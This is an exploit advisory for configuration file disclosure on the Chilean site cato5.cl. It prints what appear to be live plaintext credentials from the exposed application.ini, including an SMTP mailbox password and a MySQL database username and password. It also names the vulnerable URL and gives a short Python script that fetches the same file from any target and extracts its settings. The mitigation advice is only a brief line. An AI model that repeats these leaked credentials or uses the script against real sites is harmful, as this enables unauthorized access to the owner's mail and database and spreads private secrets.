######################################################################
# Exploit Title : Cato5 Database Configuration Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 10/05/2019
# Vendor Homepage : cato5.cl
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type :
CWE-16 [ Configuration ]
CWE-200 [ Information Exposure ]
CWE-538 [ File and Directory Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
#####################################################################
# Impact :
***********
Cato5 Chile configuration file may potentially disclose sensitive information to remote attackers.
The username and password of the database may be obtained trough the "application.ini" file.
This is going to have an impact on confidentiality, integrity, and availability.
The configuration file unintentionally stored in /application/configs/application.ini
HTTP requests consisting of a single character will cause the software to disclose sensitive
configuration information, including the password/database to the administrative web interface.
This file is installed, by default, with world readable and possibly world writeable permissions enabled.
This may have some potentially serious consequences as the configuration file
also stores password information in plain text.
This issue occurs because access controls on configuration files are not properly set.
An attacker can exploit this issue to retrieve potentially sensitive information.
Attackers can access config file via URL request. This may aid in further attacks.
The access to the /configs directory should be restricted with an adequate
countermeasure by the use of a .htaccess file.
* The product stores sensitive information in files or directories that are accessible to actors
outside of the intended control sphere.
* An information exposure is the intentional or unintentional disclosure of information to an actor
that is not explicitly authorized to have access to that information.
#####################################################################
# Database Configuration File Disclosure Exploit :
*******************************************
/application/configs/application.ini
Information :
*************
;configuracion de correo
email.from = "contacto@cato5.cl"
email.plantillas.dir = APPLICATION_PATH "/emails/";
email.transportOptionsSmtp.host = "mail.cato5.cl"
email.transportOptionsSmtp.auth = "login"
email.transportOptionsSmtp.username = "contacto@cato5.cl"
email.transportOptionsSmtp.password = "l3nt0yTi3rn0"
email.transportOptionsSmtp.ssl = "ssl"
email.transportOptionsSmtp.port = 465
resources.multidb.db1.adapter = "PDO_MYSQL"
resources.multidb.db1.host = localhost
resources.multidb.db1.dbname = cato5cl_v2cato5cl
resources.multidb.db1.username = cato5cl_v2cato5
resources.multidb.db1.password = yD7e4QaVzA+8BKuY
resources.multidb.db1.driver_options.1002 = "SET NAMES utf8"
resources.multidb.db1.default = true
[development : production]
resources.multidb.db1.host = 127.0.0.1
resources.multidb.db1.dbname = cato5local
resources.multidb.db1.username = root
resources.multidb.db1.password =
resources.multidb.db1.driver_options.1002 = "SET NAMES utf8"
resources.multidb.db1.default = true
# Example Vulnerable Site :
*************************
[+] cato5.cl/application/configs/application.ini
Exploit - Proof of Concept :
**************************
#!/usr/bin/python
import string
import re
from urllib2 import Request, urlopen
disc = "/application/configs/application.ini"
url = raw_input ("URL: ")
req = Request(url+disc)
rta = urlopen(req)
print "Result"
html = rta.read()
rdo = str(re.findall("resources.*=*", html))
print rdo
exit
#####################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
#####################################################################